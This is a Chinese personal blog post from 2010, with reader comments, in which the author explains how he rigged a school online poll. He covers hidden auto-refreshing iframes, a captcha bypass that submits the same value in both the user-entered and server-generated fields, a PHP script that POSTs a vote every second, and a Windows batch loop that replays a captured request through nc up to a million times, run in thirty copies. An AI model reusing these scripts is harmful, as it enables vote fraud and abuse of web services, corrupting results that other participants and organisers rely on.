我的一次刷票经历

Deloz,2010年07月11日12时37分29秒,经典代码,评论(13),阅读(231),Via 本站原创

最近,朋友的朋友参加了学校的评比,在Q上叫我帮忙投票.很容易,因为没有验证码,打勾,再按Enter,就投了一票.

投了几分钟,觉得效率很低,距离目标还有很远,手工的话除了累,还不知要花多少时间在这上面.于是,我决定来个自动投票..

很早就听说了"刷票"这一词,但一直没有亲自参加过,也不知从何做起.刚开始,叫牧师分析了一下,得出结论,直接在Opera下运行save.asp?x1=61&aa=52,就投了一票.

这样效率有点低, 我新建了一个页面,放上框架

<iframe name="res" style="display:none;" src="/save.asp?x1=61&aa=52" frameborder=“0” scrolling="yes" height="100px" width="100px"></iframe>

,多放几个这框架,然后在Opera设置自动刷新.

为什么不用IE呢,如下图...

opera有个功能可以停止执行页面的脚本,设置Opera的自动刷新页面,就能自动刷票了.

很快就到了第一名.第二天,朋友问我,怎么按回车投不了票了.我看了一下,原来网站添加了验证码功能,朋友没有写验证码当然不能投了.认真看了下,这个验证码是数字的而不是图片.于是,想用PHP试试能不能自动填写验证码再提交form到网站的save.asp.利用htmlSQL把页面的验证码采集下来

点了提交之后,就投票成功.再退回上一页,验证码没有变化,再点提交,竟然又可以成功投一票!多次试验后,果真如此.但这是手动的,想要它自动提交还真难.在网上找了好久,都找不到成功自动提交的方法.最后更换搜索关键词"PHP 自动提交post" ,然后找到了"PHP 模拟post",接着找到"wsockexpert抓包工具",利用wsockexpert得到一个包.

可以得到,POST的数据是"x1=61&shuzi=1779&bb=1779&aa=52",x1=61是投票选中的复选框的值,shuzi=1779是输入的验证码,bb=1779是系统产生的验证码,aa=52是隐藏值不知作何用.验证码是4位的数字,只要shuzi和bb的值相同就可以了.

然后用PHP一秒钟刷新一次,提交POST数据

<?php
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",1);

post('deloz.net','/save.asp','x1=61&shuzi=1779&bb=1779&aa=52');

header('Refresh: 1;');

function post($host,$path,$data)
{
$fp = fsockopen($host, 80);
fputs($fp,"POST $path HTTP/1.1\r\n");
fputs($fp,"Host: $host\r\n");
fputs($fp,"Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp,"Content-length: " . strlen($data) . "\r\n");
fputs($fp, "User-Agent: MSIE\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
$buf='';
while (!feof($fp)) {
$buf .= fgets($fp,128);
}
fclose($fp);
return $buf;
}
echo '<p>壹秒投壹次</p>';
?>

刚开始程序正常,慢慢的又发现新问题了...1秒才投一票速度太慢,投太多,PHP又超时,导致Opera卡死...看来,PHP并不适合做这种高速运动.只好寻求更好的办法..

想起牧师说过一句"nc",试着搜索"nc wsockexpert 刷票",让人大喜,找到了一篇介绍这2者配合刷票的文章.具体是这样的.也是用wsockexpert找出post包,然后把这些数据写在一个文档postdata.txt,接着,新建一个shuapiao.txt,把下面代码复制进去.(把红色部分的域名修改为投票网站的域名)

@ECHO OFF
SET /A counter=0
:top
SET /a counter=%counter%+1
ECHO 已经刷了 %counter% 票
nc deloz.net 80 <postdata.txt
if %counter% LSS 1000000 GOTO :top
ECHO Run complete

按ctrl+s保存,然后修改shuapiao.txt为shuapiao.bat..

最后,把nc.exe,shuapiao.bat,postdata.txt放在同一文件夹中,双击shuapiao.bat,就开始自动投票了...如下图所示:

多运行几个shuapiao.bat,就能快速刷票,我开了30个..很有速度,但蛮占CPU的..

这次自动投票,没有复杂的验证码,没有限制IP,之类的东西,用这个方法刷得很爽.但感觉有点离谱了,除了还有几个人是上万的票数,其他的都是不到1W... :mrgreen:

相关文章

  • 暂无相关日志

转载原创文章请注明,转载自: Deloz.Net [Deloz.Net]
本文地址:http://deloz.net/1000000499.html

13条评论 发表评论

  1. 1楼西门 评论于2010年7月11日16时36分00秒 回复   

    太不纯洁了,所以现在的验证码都看不清了,都是你们这些人搞的 :oops:

    • 3楼Deloz 评论于2010年7月13日14时18分21秒 回复   

      :roll: 不得己..

  2. 2楼江南夜色 评论于2010年7月12日14时22分17秒 回复   

    不介意链接下么 呵呵。
    江南夜色's_Blog http://www.hellomc.cn

    • 4楼Deloz 评论于2010年7月13日14时19分03秒 回复   

      :smile: 暂时不交换链接啦

  3. 5楼一只牧师 评论于2010年7月13日17时08分31秒 回复   

    :oops: 膜拜下

    • 7楼Deloz 评论于2010年7月17日03时53分19秒 回复   

      主会原谅你的. :mrgreen:

  4. 6楼changli 评论于2010年7月14日22时31分57秒 回复   

    哈哈 幸亏我比江南夜色快一步 赶上趟儿了 哈哈 :eek: :!: 江南夜色。。。

    • 8楼Deloz 评论于2010年7月17日03时54分15秒 回复   

      :roll: 抬举了.

    • 10楼Brhum 评论于2010年7月19日11时39分07秒 回复   

      :grin:

  5. 9楼zhengsky 评论于2010年7月18日09时04分36秒 回复   

    呃。。。我飘过,不介意吧。。。 :???:

    • 11楼Deloz 评论于2010年7月21日13时07分17秒 回复   

      不介意. :lol:

  6. 12楼hisnake 评论于2010年7月25日11时45分02秒 回复   

    花哥神人,一如既往的膜拜。。。

    • 13楼Deloz 评论于2010年7月26日21时47分45秒 回复   

      :roll: ..........

评论一下


(支持Ctrl + Enter)